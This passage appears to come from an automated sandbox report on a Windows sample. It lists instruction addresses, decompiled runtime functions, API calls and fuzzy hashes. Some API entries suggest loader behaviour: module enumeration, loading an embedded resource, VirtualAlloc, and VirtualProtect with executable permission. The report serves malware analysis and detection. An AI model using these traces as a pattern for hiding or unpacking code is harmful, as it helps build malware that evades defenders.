                                        0x00401f33
                                        0x00401f63
                                        0x00401f63
                                        0x00401f69
                                        0x00401f72
                                        0x00401f72
                                        0x00401f72
                                        0x00401f73
                                        0x00401f75
                                        0x00401f7b
                                        0x00401f80
                                        0x00401f81
                                        0x00401f86
                                        0x00401f86
                                        0x00401f8c
                                        0x00401f8d
                                        0x00401f8d
                                        0x00401f9d
                                        0x00401fa2
                                        0x00401fa6
                                        0x00401fac
                                        0x00401faf
                                        0x00401fb6
                                        0x00401fbf
                                        0x00401fc4
                                        0x00401fc8
                                        0x00401fce
                                        0x00401fd3
                                        0x00401fe0
                                        0x00401fec
                                        0x00401ffe
                                        0x00402001
                                        0x00402006
                                        0x0040200b
                                        0x00402010
                                        0x00402015
                                        0x0040201a
                                        0x0040201f
                                        0x00402024
                                        0x00402029
                                        0x0040202e
                                        0x00402033
                                        0x00402038
                                        0x0040203d
                                        0x00402042
                                        0x00402047
                                        0x0040204c
                                        0x00402051
                                        0x00402056
                                        0x0040205b
                                        0x00402060
                                        0x00402065
                                        0x0040206a
                                        0x0040206f
                                        0x00402074
                                        0x00402079
                                        0x0040207e
                                        0x00402083
                                        0x00402088
                                        0x0040208d
                                        0x00402092
                                        0x00402097
                                        0x0040209c
                                        0x004020a1
                                        0x004020a5
                                        0x004020aa
                                        0x004020ae
                                        0x004020b4
                                        0x004020b6
                                        0x004020bb
                                        0x004020c0
                                        0x004020c5
                                        0x004020ca
                                        0x004020cf
                                        0x004020d4
                                        0x004020e1
                                        0x004020e6
                                        0x004020eb
                                        0x004020f0
                                        0x004020f5
                                        0x004020fa
                                        0x004020ff
                                        0x00402104
                                        0x00402109
                                        0x0040210e
                                        0x00402113
                                        0x00402118
                                        0x0040211d
                                        0x00402122
                                        0x00402127
                                        0x0040212c
                                        0x00402131
                                        0x00402136
                                        0x0040213b
                                        0x00402140
                                        0x00402145
                                        0x0040214a
                                        0x0040214f
                                        0x00402154
                                        0x00402159
                                        0x0040215e
                                        0x00402163
                                        0x00402167
                                        0x0040216c
                                        0x00402171
                                        0x00402177
                                        0x00402179
                                        0x0040217c
                                        0x0040217e
                                        0x00402183
                                        0x00402188
                                        0x0040218f
                                        0x00402196
                                        0x0040219a
                                        0x0040219e
                                        0x004021a2
                                        0x004021a4
                                        0x004021bc
                                        0x004021be
                                        0x004021c0
                                        0x004021c6
                                        0x004021ca
                                        0x004021e5
                                        0x004021ec
                                        0x004021f1
                                        0x00402213
                                        0x00402215
                                        0x00402217
                                        0x0040221d
                                        0x00402239
                                        0x0040223b
                                        0x0040223d
                                        0x00402243
                                        0x0040224d
                                        0x0040224f
                                        0x00402251
                                        0x00402260
                                        0x00402264
                                        0x00402269
                                        0x00402277
                                        0x0040227b
                                        0x00402286
                                        0x00402293
                                        0x004022af
                                        0x004022b1
                                        0x004022b5
                                        0x004022b7
                                        0x004022be
                                        0x004022be
                                        0x004022d7
                                        0x004022e8
                                        0x004022ef
                                        0x004022f6
                                        0x00402300
                                        0x00402304
                                        0x00402308
                                        0x00402315
                                        0x0040231a
                                        0x0040231e
                                        0x00402324
                                        0x00402328
                                        0x0040232a
                                        0x00402331
                                        0x00402331
                                        0x0040234e
                                        0x00402350
                                        0x00402352
                                        0x00402355
                                        0x00402355
                                        0x0040235b
                                        0x0040235f
                                        0x00402361
                                        0x00402368
                                        0x00402368
                                        0x0040236d
                                        0x00402371
                                        0x00402373
                                        0x00402375
                                        0x0040237b
                                        0x0040237b
                                        0x00402377
                                        0x00402377
                                        0x00402377
                                        0x00402390
                                        0x00402396
                                        0x0040239c
                                        0x004023a0
                                        0x004023a2
                                        0x004023a9
                                        0x004023a9
                                        0x004023ae
                                        0x004023b2
                                        0x004023b4
                                        0x004023ba
                                        0x004023ba
                                        0x004023b6
                                        0x004023b6
                                        0x004023b6
                                        0x004023ce
                                        0x004023d1
                                        0x004023d3
                                        0x004023dd
                                        0x004023ec
                                        0x004023ef
                                        0x004023fe
                                        0x00402401
                                        0x00402403
                                        0x00402411
                                        0x00402417
                                        0x00402424
                                        0x00402426
                                        0x0040242a
                                        0x0040242c
                                        0x00402434
                                        0x00402434
                                        0x0040243a
                                        0x0040243f
                                        0x00402443
                                        0x00402445
                                        0x0040244d
                                        0x0040244d
                                        0x00402445
                                        0x00402251
                                        0x0040223d
                                        0x0040244f
                                        0x0040245d
                                        0x0040245f
                                        0x00402461
                                        0x00402462
                                        0x00402467
                                        0x00402467
                                        0x0040245f
                                        0x004021ca
                                        0x0040246a
                                        0x0040246e
                                        0x00402470
                                        0x00402478
                                        0x00402478
                                        0x0040247a
                                        0x0040247e
                                        0x00402480
                                        0x00402488
                                        0x00402488
                                        0x00402480
                                        0x00000000
                                        0x00401c55
                                        0x00401c62
                                        0x00401c67
                                        0x00401c6a
                                        0x00401c6c
                                        0x00401c73
                                        0x00401c73
                                        0x00401c77
                                        0x00000000
                                        0x00000000
                                        0x00401c7b
                                        0x00401c8f
                                        0x00401c8f
                                        0x00401c7d
                                        0x00401c7d
                                        0x00401c83
                                        0x00000000
                                        0x00401c85
                                        0x00401c85
                                        0x00401c88
                                        0x00401c8d
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00401c8d
                                        0x00401c83
                                        0x00401c98
                                        0x00401c9a
                                        0x00401cbd
                                        0x00401cc2
                                        0x00401cc5
                                        0x00401cc7
                                        0x00401cd0
                                        0x00401cd0
                                        0x00401cd2
                                        0x00401cd4
                                        0x00000000
                                        0x00000000
                                        0x00401cd6
                                        0x00401cd8
                                        0x00401cec
                                        0x00401cec
                                        0x00401cda
                                        0x00401cda
                                        0x00401cdd
                                        0x00401ce0
                                        0x00000000
                                        0x00401ce2
                                        0x00401ce2
                                        0x00401ce5
                                        0x00401ce8
                                        0x00401cea
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00401cea
                                        0x00401ce0
                                        0x00401cf5
                                        0x00401cf5
                                        0x00401cf7
                                        0x00000000
                                        0x00401cf9
                                        0x00401d02
                                        0x00401d07
                                        0x00401d09
                                        0x00401d10
                                        0x00401d1d
                                        0x00401d22
                                        0x00401d25
                                        0x00401d27
                                        0x00401d30
                                        0x00401d30
                                        0x00401d32
                                        0x00401d34
                                        0x00000000
                                        0x00000000
                                        0x00401d36
                                        0x00401d38
                                        0x00401d4c
                                        0x00401d4c
                                        0x00401d3a
                                        0x00401d3a
                                        0x00401d3d
                                        0x00401d40
                                        0x00000000
                                        0x00401d42
                                        0x00401d42
                                        0x00401d45
                                        0x00401d48
                                        0x00401d4a
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00401d4a
                                        0x00401d40
                                        0x00401d55
                                        0x00401d55
                                        0x00401d57
                                        0x00000000
                                        0x00401d5d
                                        0x00401d6a
                                        0x00401d6f
                                        0x00401d72
                                        0x00401d74
                                        0x00401d80
                                        0x00401d80
                                        0x00401d82
                                        0x00401d84
                                        0x00000000
                                        0x00000000
                                        0x00401d86
                                        0x00401d88
                                        0x00401d9c
                                        0x00401d9c
                                        0x00401d8a
                                        0x00401d8a
                                        0x00401d8d
                                        0x00401d90
                                        0x00000000
                                        0x00401d92
                                        0x00401d92
                                        0x00401d95
                                        0x00401d98
                                        0x00401d9a
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00401d9a
                                        0x00401d90
                                        0x00401da5
                                        0x00401da5
                                        0x00401da7
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00401da7
                                        0x00401da0
                                        0x00401da2
                                        0x00000000
                                        0x00401da2
                                        0x00000000
                                        0x00401d57
                                        0x00401d50
                                        0x00401d52
                                        0x00000000
                                        0x00401dad
                                        0x00401db6
                                        0x00401dbb
                                        0x00401dbb
                                        0x00401d10
                                        0x00000000
                                        0x00401d09
                                        0x00000000
                                        0x00401cf7
                                        0x00401cf0
                                        0x00401cf2
                                        0x00000000
                                        0x00401c9c
                                        0x00401c9c
                                        0x00401c9d
                                        0x00401caf
                                        0x00401caf
                                        0x00000000
                                        0x00401c9a
                                        0x00401c93
                                        0x00401c95
                                        0x00000000
                                        0x00401c95
                                        0x00401c4f
                                        0x00000000

                                        APIs
                                        • OleInitialize.OLE32(00000000), ref: 004019FD
                                        • _getenv.LIBCMT ref: 00401ABA
                                        • GetCurrentProcessId.KERNEL32 ref: 00401ACD
                                        • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
                                        • Module32First.KERNEL32 ref: 00401C48
                                        • CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
                                        • Module32Next.KERNEL32 ref: 00401D02
                                        • Module32Next.KERNEL32 ref: 00401DB6
                                        • FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401DC4
                                        • GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
                                        • FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
                                        • LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
                                        • LockResource.KERNEL32(00000000), ref: 00401EA7
                                        • SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
                                        • _malloc.LIBCMT ref: 00401EBA
                                        • _memset.LIBCMT ref: 00401EDD
                                        • SizeofResource.KERNEL32(00000000,?), ref: 00401F02
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: Resource$Module32$CloseFindHandleNextSizeof$ChangeCreateCurrentFirstInitializeLoadLockModuleNotificationProcessSnapshotToolhelp32_getenv_malloc_memset
                                        • String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
                                        • API String ID: 2366190142-2962942730
                                        • Opcode ID: e2b8a6b5af031302554ec82c7d1561dfd4ff31293c0d5259a8556a15fd3aa404
                                        • Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
                                        • Opcode Fuzzy Hash: e2b8a6b5af031302554ec82c7d1561dfd4ff31293c0d5259a8556a15fd3aa404
                                        • Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022ADB28, Relevance: 2.0, Strings: 1, Instructions: 753COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: ,~$k
                                        • API String ID: 0-3192378294
                                        • Opcode ID: bb54997326d16d41a6ffc92ef0dcc6761b90a8b6aeafe26288080cb598d34299
                                        • Instruction ID: 613062fe8ceebcb0551457ac1d32d082ee3105eb06821d8c7a74ed1787ddada3
                                        • Opcode Fuzzy Hash: bb54997326d16d41a6ffc92ef0dcc6761b90a8b6aeafe26288080cb598d34299
                                        • Instruction Fuzzy Hash: 22620A34B142588FCB14DF64D898BADBBB2EF88304F1185A9E90AAB755DF349D81CF50
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0208003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON
                                        Download Yara Rule
                                        APIs
                                        • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0208024D
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: AllocVirtual
                                        • String ID: cess$kernel32.dll
                                        • API String ID: 4275171209-1230238691
                                        • Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
                                        • Instruction ID: 4813d6fbb947531ca2cdd0a605f1f06475a1da202ea37745f144eb539dfb3bbf
                                        • Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
                                        • Instruction Fuzzy Hash: E4527A75A01229DFDBA4CF58C984BADBBB1BF09304F1480D9E54DAB351DB30AA89DF14
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 004018F0, Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON
                                        Download Yara Rule
                                        C-Code - Quality: 84%
                                        			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25); // executed
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}











                                        0x004018f0
                                        0x004018f2
                                        0x004018f6
                                        0x004018fa
                                        0x00401917
                                        0x0040191a
                                        0x0040192f
                                        0x00401939
                                        0x0040193b
                                        0x0040193e
                                        0x00401940
                                        0x00401949
                                        0x0040195e
                                        0x0040196b
                                        0x00401980
                                        0x0040198a
                                        0x0040198c
                                        0x0040198c
                                        0x0040198f
                                        0x00401991
                                        0x00401991
                                        0x0040198f
                                        0x0040199a
                                        0x004018fc
                                        0x004018fc
                                        0x00401900
                                        0x00401900

                                        APIs
                                        • lstrlenA.KERNEL32(?), ref: 00401906
                                        • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
                                        • GetLastError.KERNEL32 ref: 00401940
                                        • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
                                        • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: ByteCharMultiWide$ErrorLastlstrlen
                                        • String ID:
                                        • API String ID: 3322701435-0
                                        • Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                        • Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
                                        • Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                        • Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0040AF66, Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 63%
                                        			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

















                                        0x0040af66
                                        0x0040af66
                                        0x0040af69
                                        0x0040af7d
                                        0x0040af80
                                        0x0040af88
                                        0x00000000
                                        0x00000000
                                        0x0040af73
                                        0x0040af79
                                        0x0040af7b
                                        0x0040af8c
                                        0x0040af98
                                        0x0040af9a
                                        0x0040af9a
                                        0x0040afa3
                                        0x0040afad
                                        0x0040afb2
                                        0x0040afb7
                                        0x0040afc5
                                        0x0040afca
                                        0x0040afd0
                                        0x0040aec2
                                        0x0040b6b5
                                        0x0040b6b7
                                        0x0040b6bc
                                        0x0040b6c1
                                        0x0040b6c4
                                        0x0040b6c6
                                        0x0040b6c8
                                        0x0040b6cf
                                        0x0040b714
                                        0x00000000
                                        0x0040b6d1
                                        0x0040b6d3
                                        0x0040b6d9
                                        0x0040b6de
                                        0x0040b6e4
                                        0x0040b6e7
                                        0x0040b6e9
                                        0x0040b6eb
                                        0x0040b6ec
                                        0x0040b6ed
                                        0x0040b6f3
                                        0x0040b6f4
                                        0x0040b6fb
                                        0x0040b700
                                        0x0040b704
                                        0x0040b706
                                        0x0040b715
                                        0x0040b723
                                        0x0040b725
                                        0x0040b727
                                        0x0040b73a
                                        0x0040b73c
                                        0x0040b725
                                        0x0040b704
                                        0x0040b6cf
                                        0x0040b742
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040af7b
                                        0x0040af8b
                                        0x00000000

                                        APIs
                                        • _malloc.LIBCMT ref: 0040AF80
                                          • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                          • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                          • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                        • std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3
                                          • Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08
                                        • std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
                                        • __CxxThrowException@8.LIBCMT ref: 0040AFC5
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                        • String ID:
                                        • API String ID: 1411284514-0
                                        • Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
                                        • Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
                                        • Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
                                        • Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00433A60, Relevance: 6.0, APIs: 4, Instructions: 22librarymemorystringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • lstrcat.KERNEL32(0043F750,0045AC50), ref: 00433A78
                                        • GetModuleHandleA.KERNEL32(0043F750), ref: 00433A83
                                        • GetProcAddress.KERNEL32(00000000,0045AC60), ref: 00433A8F
                                        • VirtualProtect.KERNELBASE(0044ECE8,0044F2EC,00000040,?), ref: 00433AAF
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488187064.0000000000433000.00000020.00020000.sdmp, Offset: 00433000, based on PE: false
                                        Similarity
                                        • API ID: AddressHandleModuleProcProtectVirtuallstrcat
                                        • String ID:
                                        • API String ID: 668228027-0
                                        • Opcode ID: c4a705094e1b0ba8e077121398d90aa68e39c147bb9c1bda69de0572c74a36e9
                                        • Instruction ID: fd8ae3a03c578a1c85cd8e7546bc133c87a69e04f74f57b6f47acbe3e5b42a51
                                        • Opcode Fuzzy Hash: c4a705094e1b0ba8e077121398d90aa68e39c147bb9c1bda69de0572c74a36e9
                                        • Instruction Fuzzy Hash: C6E01279544301EBDB046B94ED49F193764B748B02F104939F645A21D1D7BCA448CB2E
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02080DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON
                                        Download Yara Rule
                                        APIs
                                        • SetErrorMode.KERNELBASE(00000400,?,?,02080223,?,?), ref: 02080E02
                                        • SetErrorMode.KERNELBASE(00000000,?,?,02080223,?,?), ref: 02080E07
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: ErrorMode
                                        • String ID:
                                        • API String ID: 2340568224-0
                                        • Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                        • Instruction ID: 37e51b8472b0fe89cd6ff791baadd57aa521ca7ed4a22b66da06f6d1e798bb83
                                        • Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
                                        • Instruction Fuzzy Hash: 09D0123224522CB7DB412A94DC09BCEBB5C9F05BABF008021FB0DE9581CBB09A4046EA
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022AC560, Relevance: 2.8, Strings: 2, Instructions: 347COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: ,~$k$ Zl
                                        • API String ID: 0-3228505474
                                        • Opcode ID: 1aae7f30482d907f63ba222d5c0d57a3ea3f070b98462917d30aea6eb689a9cf
                                        • Instruction ID: 74ebba28882f896aa1efeeef4026392006163d4f1be0182e8be2e38ffa43af26
                                        • Opcode Fuzzy Hash: 1aae7f30482d907f63ba222d5c0d57a3ea3f070b98462917d30aea6eb689a9cf
                                        • Instruction Fuzzy Hash: 9DE17F34A04209DFCB14DFA5D598A9EBBB2FF88314F158529E9169B764CB30EC85CF90
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A6B40, Relevance: 2.0, Instructions: 1973COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: bbc4c966ada8de854446d853a8d383f0f67e21fcb484ca12845696ac2bf5bd34
                                        • Instruction ID: dcc1c40763d5d20a219d7d43dc956ecbd34e0565754f5676c0261e52c03c22c4
                                        • Opcode Fuzzy Hash: bbc4c966ada8de854446d853a8d383f0f67e21fcb484ca12845696ac2bf5bd34
                                        • Instruction Fuzzy Hash: 55131F38951204EFCB2AAB70D511D59F732FF9930AB10846ACC5126B75DBBF8A56EF00
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A6B31, Relevance: 2.0, Instructions: 1971COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 53a412d992beaf2582082b08817c6f5e283f30247cb022950f115a1269385732
                                        • Instruction ID: 5d3963b98bfcec960d04c9827fef5718bae2e88da836061175ae3b7e260ee2ca
                                        • Opcode Fuzzy Hash: 53a412d992beaf2582082b08817c6f5e283f30247cb022950f115a1269385732
                                        • Instruction Fuzzy Hash: 95131F38951204EFCB2AAB70D511D59F732FF9930AB10846ACC5126B75DBBF8A56EF00
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A0490, Relevance: 1.5, Strings: 1, Instructions: 299COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: xk^
                                        • API String ID: 0-2549162953
                                        • Opcode ID: a7f6706e72905a7c96e2fb8cd39af2bb234a79d518daae81608982b374b2ff32
                                        • Instruction ID: fc8a1e25d80f9a6e282ec561c8cb349767da9ee880a24abe2f2aed566d9d2a3a
                                        • Opcode Fuzzy Hash: a7f6706e72905a7c96e2fb8cd39af2bb234a79d518daae81608982b374b2ff32
                                        • Instruction Fuzzy Hash: E5B158347506108FC754DB78D9A8F6AB7E2EF88718B1281A9E506CB7B5DB31EC05CB80
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A03A8, Relevance: 1.5, Strings: 1, Instructions: 287COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: xk^
                                        • API String ID: 0-2549162953
                                        • Opcode ID: 90c0f02de33d970b990651ac00a00313940057dda872bd7d349d5307ea207870
                                        • Instruction ID: 22657d8d1511d1a77ca38a2dab1b7324ff56c26ae430a27f822ebfa79dabf160
                                        • Opcode Fuzzy Hash: 90c0f02de33d970b990651ac00a00313940057dda872bd7d349d5307ea207870
                                        • Instruction Fuzzy Hash: 01B189347102408FC754DB78D9A8E6A7BE2FF89718B1681A9E506CB7B5DB31EC45CB80
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02080E28, Relevance: 1.5, APIs: 1, Instructions: 37COMMON
                                        Download Yara Rule
                                        APIs
                                        • SetErrorMode.KERNELBASE(00000000,?,?,02080223,?,?), ref: 02080E07
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: ErrorMode
                                        • String ID:
                                        • API String ID: 2340568224-0
                                        • Opcode ID: 323ee7fc14b7e86d7bd74212b31f1b232ae34e929537103c8e694b80c121cb27
                                        • Instruction ID: 55e1ed1559a18ca40aa838dbc5fd1b3146d12fa2b091d5909b8aab8c5f7eb8c9
                                        • Opcode Fuzzy Hash: 323ee7fc14b7e86d7bd74212b31f1b232ae34e929537103c8e694b80c121cb27
                                        • Instruction Fuzzy Hash: AFE0B66224E3C85FC74317B05C657AA7F749F53696F0A81D3E5C8CE4E3C664094A9372
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0040D534, Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}




                                        0x0040d549
                                        0x0040d54f
                                        0x0040d556
                                        0x0040d55d
                                        0x0040d563
                                        0x0040d559
                                        0x0040d559
                                        0x0040d559

                                        APIs
                                        • HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: CreateHeap
                                        • String ID:
                                        • API String ID: 10892065-0
                                        • Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
